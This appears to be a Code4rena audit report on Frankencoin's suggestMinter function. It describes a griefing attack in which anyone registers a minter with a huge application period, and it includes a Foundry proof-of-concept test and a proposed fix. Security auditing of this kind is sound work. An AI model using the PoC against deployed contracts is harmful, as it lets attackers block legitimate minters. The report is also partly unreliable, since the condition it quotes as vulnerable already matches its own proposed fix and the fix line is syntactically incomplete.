code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Frankencoin.sol#L83-L90

Vulnerability details

Impact

Scope of vulnerabiliy -

This vulnerability allows any user (including users the do not own any share tokens) to effectivly cast a veto on a minter suggetion. The only requirement to excecute the vulnerability is to have the minimun fee in the acccount.

In the future, the 3% needed to veto will cost very high amounts of money (currently when the system wasn't adapted yet it costs 4500 usd). The vulnerability is basicly a 1 use veto for only the minimum fee amounts.

lets say 2 crypto whales or large bodies (perhaps even governments) race for minting proposition. with the vulnerability 1 whale can make it hard for the other to suggest a minter, while paying practicly nothing (from a whale perspective) and staying anonymous (if excected from an unknown address)

in combination with listening the the miners pool, an attacker can wait for the suggestMinter function to be called, and then immediately before it (using higher fees) call the function himself and prevent the minterSuggestion.

In addition, there might be cases where the suggest minter function will become cheaper then the gas in the votes function. This might happen when the market is wide and gathering 3% requires a lot of people. And since in the deny function the denier is'nt rewarded the whole process of suggest minter -> deny becomes some kind of hostage situation.

Suggested severity - HIGH

Proof of Concept

description

User is able to make a contract uneligable to become a minter -

How? in function suggestMinter in contract Frankencoin, there are 3 revert conditions

if (_applicationPeriod < MIN_APPLICATION_PERIOD && totalSupply() > 0) revert PeriodTooShort();
if (_applicationFee < MIN_FEE  && totalSupply() > 0) revert FeeTooLow();
if (minters[_minter] != 0 && minters[_minter] <= block.timestamp + _applicationPeriod) revert AlreadyRegistered();

The 3rd condition can be exploited in the following way - any user in the blockchain (perhaps not the owner of the minter contract proposed) can suggest the contract for minting, but set the time to be very high (for example 10000 years)/ This way the contrack be able to become a minter only after an extremly long time, or after the last suggestion is vetoed.

code

contract myTest is Test{

    address EquityC;
    address FrankencoinC;
    address MintingHubC;
    address PositionC;
    address PositionFactoryC;
    address StablecoinBridgeC;

    function setUp() public{
        uint arbitraryNumber = 5000;
        FrankencoinC = address(new Frankencoin(arbitraryNumber));
        Frankencoin(FrankencoinC).suggestMinter(address(this), 0, 0, "msg");

    }

    function testMinterBlock() external{
        address WannaBeMinter = address(0xa);
        // minting enough money to activate the mint 
        Frankencoin(FrankencoinC).mint(WannaBeMinter, 10**40, 0, 0);
        Frankencoin(FrankencoinC).mint(address(this), 10**40, 0, 0);

        // suggesting a minter with some unreal applicationPeriod . Making it impossible to submit the same minter again until 10**30 seconds passed 
        Frankencoin(FrankencoinC).suggestMinter(WannaBeMinter, 10**30, 10**25, "msg2");

        vm.startPrank(WannaBeMinter);
        // 0x3a81d6fc is the error code for the AlreadyRegistered() error in the Frankencoin contract.
        bytes4 errorMsg = 0x3a81d6fc;
        vm.expectRevert(errorMsg);
        // now the minter wants to suggest himself but will revert with previous error code.
        Frankencoin(FrankencoinC).suggestMinter(WannaBeMinter, 10000, 10**25, "msg2");
        vm.stopPrank();        
    }

    //- starts and end a prank with the addr address
}

diff from generalTest.t.sol

diff --git a/GeneralTest.t.sol b/GeneralTestUpd.t.sol
index 27c2a36..421ec8c 100644
--- a/GeneralTest.t.sol
+++ b/GeneralTestUpd.t.sol
@@ -145,7 +145,45 @@ contract GeneralTest is Test {
          (address challenger1, IPosition p1, uint256 size1, uint256 a1, address b1, uint256 bid1) = hub.challenges(number);
          return (size1, bid1);
     }
+    
+    address EquityC;
+    address FrankencoinC;
+    address MintingHubC;
+    address PositionC;
+    address PositionFactoryC;
+    address StablecoinBridgeC;

+
+
+    function setUp() public{
+        uint arbitraryNumber = 5000;
+        FrankencoinC = address(new Frankencoin(arbitraryNumber));
+        Frankencoin(FrankencoinC).suggestMinter(address(this), 0, 0, "msg");
+    }
+
+
+    function testMinterBlock() external{
+        address WannaBeMinter = address(0xa);
+        // minting enough money to activate the mint 
+        Frankencoin(FrankencoinC).mint(WannaBeMinter, 10**40, 0, 0);
+        Frankencoin(FrankencoinC).mint(address(this), 10**40, 0, 0);
+
+        // suggesting a minter with some unreal applicationPeriod . Making it impossible to submit the same minter again until 10**30 seconds passed 
+        Frankencoin(FrankencoinC).suggestMinter(WannaBeMinter, 10**30, 10**25, "msg2");
+
+
+        
+        vm.startPrank(WannaBeMinter);
+        // 0x3a81d6fc is the error code for the AlreadyRegistered() error in the Frankencoin contract.
+        bytes4 errorMsg = 0x3a81d6fc;
+        vm.expectRevert(errorMsg);
+        // now the minter wants to suggest himself but will revert with previous error
+        Frankencoin(FrankencoinC).suggestMinter(WannaBeMinter, 10000, 10**25, "msg2");
+        vm.stopPrank();        
+    }
+    
+    
+    //- starts and end a prank with the addr address

Recommended Mitigation Steps

Suggested fix - give minter suggestors the ability to suggest the same minter again with lower applicationPeriod

function suggestMinter(address _minter, uint256 _applicationPeriod, uint256 _applicationFee, string calldata _message) override external {
      if (_applicationPeriod < MIN_APPLICATION_PERIOD && totalSupply() > 0) revert PeriodTooShort();
      if (_applicationFee < MIN_FEE  && totalSupply() > 0) revert FeeTooLow();
--    if (minters[_minter] != 0) revert AlreadyRegistered();
++    if (minters[_minter] != 0 && minters[_minter] <= block.timestamp + _applicationPeriod) revert AlreadyRegistered;
      _transfer(msg.sender, address(reserve), _applicationFee);
      minters[_minter] = block.timestamp + _applicationPeriod;
      emit MinterApplied(_minter, _applicationPeriod, _applicationFee, _message);
}